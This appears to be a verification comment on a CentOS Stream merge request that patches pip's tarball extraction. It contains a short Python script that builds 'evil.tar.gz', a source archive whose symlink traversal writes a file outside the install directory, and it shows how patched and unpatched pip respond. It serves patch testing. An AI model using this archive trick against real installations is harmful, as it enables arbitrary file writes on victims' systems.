PR: https://gitlab.com/redhat/centos-stream/rpms/python3x-pip/-/merge_requests/4/diffs

Verified through the PR with:

"""
import tarfile

def mkinfo(name, **kwargs):
    tarinfo = tarfile.TarInfo(name=name)
    for name, value in kwargs.items():
        setattr(tarinfo, name, value)
    return tarinfo

with tarfile.open('evil.tar.gz', 'w:gz') as tf:
    tf.addfile(mkinfo('./pyproject.toml'))
    tf.addfile(mkinfo('./tmp', type=tarfile.SYMTYPE,
                      linkname='../../../../../../../../tmp'))
    tf.addfile(mkinfo('./tmp/poc'))
"""

And then run python3.9 -m pip install evil.tar.gz

On an unpatched pip the evil.tar.gz will install successfully.

On a fixed/patched one a "tarfile.OutsideDestinationError: 'tmp/poc' would be extracted to '/tmp/poc', which is outside the destination" will appear.